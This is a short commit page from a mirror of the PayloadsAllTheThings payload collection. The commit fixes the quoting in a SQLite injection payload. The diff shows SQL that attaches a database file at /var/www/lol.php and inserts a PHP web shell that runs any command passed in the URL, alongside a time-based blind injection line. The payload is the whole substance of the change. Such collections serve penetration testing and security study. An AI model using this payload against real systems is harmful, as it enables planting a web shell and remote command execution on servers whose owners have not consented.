1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-03-29 11:20:11 +01:00

Single quotes are messing with the command.

This commit is contained in:
PinkDraconian 2022-05-15 13:53:50 +02:00 committed by GitHub
parent 4cf464cc96
commit 5cc8e698c9
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```
## Remote Command Execution using SQLite command - Load_extension